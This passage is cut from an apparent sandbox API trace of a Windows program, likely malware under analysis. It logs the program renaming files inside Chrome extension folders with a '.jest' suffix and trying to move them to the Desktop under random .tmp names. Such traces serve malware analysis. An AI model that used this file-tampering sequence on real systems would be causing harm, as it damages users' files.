lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png", lpFilePart=0x18e708*="icon_16.png") returned 0x89 [0150.524] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\odyrnvbzmavf8tqolgt5xw0w5rf3znxe-qxaztj9jhihmn3b6wd1v7g3z6cbrdzfxgkvjpxcvfht-7o2uaalpnukltv3fznr nyx4.tmp")) returned 0 [0150.524] GetLastError () returned 0x2 [0150.524] GetLastError () returned 0x2 [0150.524] SetLastError (dwErrCode=0x2) [0150.524] GetLastError () returned 0x2 [0150.525] SetLastError (dwErrCode=0x2) [0150.525] GetLastError () returned 0x2 [0150.525] SetLastError (dwErrCode=0x2) [0150.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.525] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.525] GetFullPathNameA (in: lpFileName="oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp", lpFilePart=0x18e6e4*="oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp") returned 0x8f [0150.525] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oDYRNVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5259446f, cFileName="NVbZmAVf8tQoLgT5XW0w5RF3znxe-qXAZTJ9jhiHmn3b6wd1V7G3Z6cbRDzFXGKVjPXCvfhT-7O2uAAlPNUKltv3FZnR NyX4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.526] GetLastError () returned 0x2 [0150.526] GetLastError () returned 0x2 [0150.526] SetLastError (dwErrCode=0x2) [0150.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.526] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.527] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.527] CoFreeUnusedLibraries () [0150.527] GetTickCount () returned 0x1157678 [0150.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.527] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.527] GetTickCount () returned 0x1157678 [0150.527] IsWindowVisible (hWnd=0x30268) returned 0 [0150.527] Sleep (dwMilliseconds=0x0) [0150.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.528] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.528] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.jest")) returned 1 [0150.529] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFilePart=0x18e6d8*="main.html") returned 0x87 [0150.529] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.529] GetLastError () returned 0x2 [0150.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.530] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.530] VarBstrFromR4 (in: fltIn=0x4794501b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.21") returned 0x0 [0150.530] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.530] CoFreeUnusedLibraries () [0150.530] GetTickCount () returned 0x1157678 [0150.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.531] GetTickCount () returned 0x1157678 [0150.531] IsWindowVisible (hWnd=0x30268) returned 0 [0150.531] Sleep (dwMilliseconds=0x0) [0150.531] GetFullPathNameA (in: lpFileName="C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp", lpFilePart=0x18e708*="C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp") returned 0x8d [0150.532] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html", lpFilePart=0x18e708*="main.html") returned 0x87 [0150.532] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c5dwycaek3urdwflytxerhjzk858odtd4u0ztnam2om0znpuc ic6gqr2rg-zjstxm6ykdwnbiqcwp2foivhupfe_xz6kufsdqi.tmp")) returned 0 [0150.532] GetLastError () returned 0x2 [0150.532] GetLastError () returned 0x2 [0150.532] SetLastError (dwErrCode=0x2) [0150.532] GetLastError () returned 0x2 [0150.532] SetLastError (dwErrCode=0x2) [0150.532] GetLastError () returned 0x2 [0150.532] SetLastError (dwErrCode=0x2) [0150.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.533] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.533] GetFullPathNameA (in: lpFileName="C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp", lpFilePart=0x18e6e4*="C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp") returned 0x8d [0150.533] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C5DwYcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77443543, cFileName="YcAEK3UrDwfLyTxErHJzk858oDtD4U0zTnAM2OM0ZnpUc Ic6gqR2rg-ZJsTXM6ykDwnBiqCwp2FoIVhUPfe_XZ6kuFsDQI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.533] GetLastError () returned 0x2 [0150.533] GetLastError () returned 0x2 [0150.533] SetLastError (dwErrCode=0x2) [0150.535] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.535] CoFreeUnusedLibraries () [0150.535] GetTickCount () returned 0x1157687 [0150.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.535] GetTickCount () returned 0x1157687 [0150.535] IsWindowVisible (hWnd=0x30268) returned 0 [0150.535] Sleep (dwMilliseconds=0x0) [0150.536] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.jest")) returned 1 [0150.539] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", lpFilePart=0x18e6d8*="128.png") returned 0x85 [0150.539] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.539] GetLastError () returned 0x2 [0150.539] VarBstrFromR4 (in: fltIn=0x4794501d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.23") returned 0x0 [0150.540] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.540] CoFreeUnusedLibraries () [0150.540] GetTickCount () returned 0x1157687 [0150.540] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.540] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.540] GetTickCount () returned 0x1157687 [0150.540] IsWindowVisible (hWnd=0x30268) returned 0 [0150.540] Sleep (dwMilliseconds=0x0) [0150.541] GetFullPathNameA (in: lpFileName="9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp", lpFilePart=0x18e708*="9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp") returned 0x8f [0150.541] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png", lpFilePart=0x18e708*="128.png") returned 0x85 [0150.541] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9n8ev992yeejijpoxnb5gmmox3hlovdz5-w25vucm0frdhwtfqz3u1tabdu4-ow6c0mx8d0jqyfpqlv70w6g6hju5npivfsh c862.tmp")) returned 0 [0150.541] GetLastError () returned 0x2 [0150.542] GetLastError () returned 0x2 [0150.542] SetLastError (dwErrCode=0x2) [0150.542] GetLastError () returned 0x2 [0150.542] SetLastError (dwErrCode=0x2) [0150.542] GetLastError () returned 0x2 [0150.542] SetLastError (dwErrCode=0x2) [0150.542] GetFullPathNameA (in: lpFileName="9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp", lpFilePart=0x18e6e4*="9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp") returned 0x8f [0150.542] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9n8EV992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45386e39, cFileName="V992YeEjIJPoXNB5gMMOx3Hlovdz5-W25vuCm0FRdHWtFQZ3u1TaBDU4-Ow6C0mx8d0jqyFPqlV70w6G6Hju5NPIvFSh C862.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.542] GetLastError () returned 0x2 [0150.542] GetLastError () returned 0x2 [0150.542] SetLastError (dwErrCode=0x2) [0150.545] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.545] CoFreeUnusedLibraries () [0150.546] GetTickCount () returned 0x1157687 [0150.546] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.546] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.546] GetTickCount () returned 0x1157687 [0150.546] IsWindowVisible (hWnd=0x30268) returned 0 [0150.546] Sleep (dwMilliseconds=0x0) [0150.546] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.jest")) returned 1 [0150.554] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png", lpFilePart=0x18e6d8*="128.png") returned 0x86 [0150.554] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.554] GetLastError () returned 0x2 [0150.554] VarBstrFromR4 (in: fltIn=0x4794501f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.24") returned 0x0 [0150.555] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.555] CoFreeUnusedLibraries () [0150.555] GetTickCount () returned 0x1157697 [0150.555] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.555] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.555] GetTickCount () returned 0x1157697 [0150.555] IsWindowVisible (hWnd=0x30268) returned 0 [0150.555] Sleep (dwMilliseconds=0x0) [0150.556] GetFullPathNameA (in: lpFileName="EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp", lpFilePart=0x18e708*="EvJ0sMp3XjLk8LwqFyh7y8OfhWQ3vEABlpLbahPrcZF0cHw_0HtOPIqWbI SUQ47e Nm zVrg3tg1ZI3pGCNHRUA_iGKtFhoKGK6e.tmp") returned 0x8f [0150.556] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png", lpFilePart=0x18e708*="128.png") returned 0x86 [0150.556] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 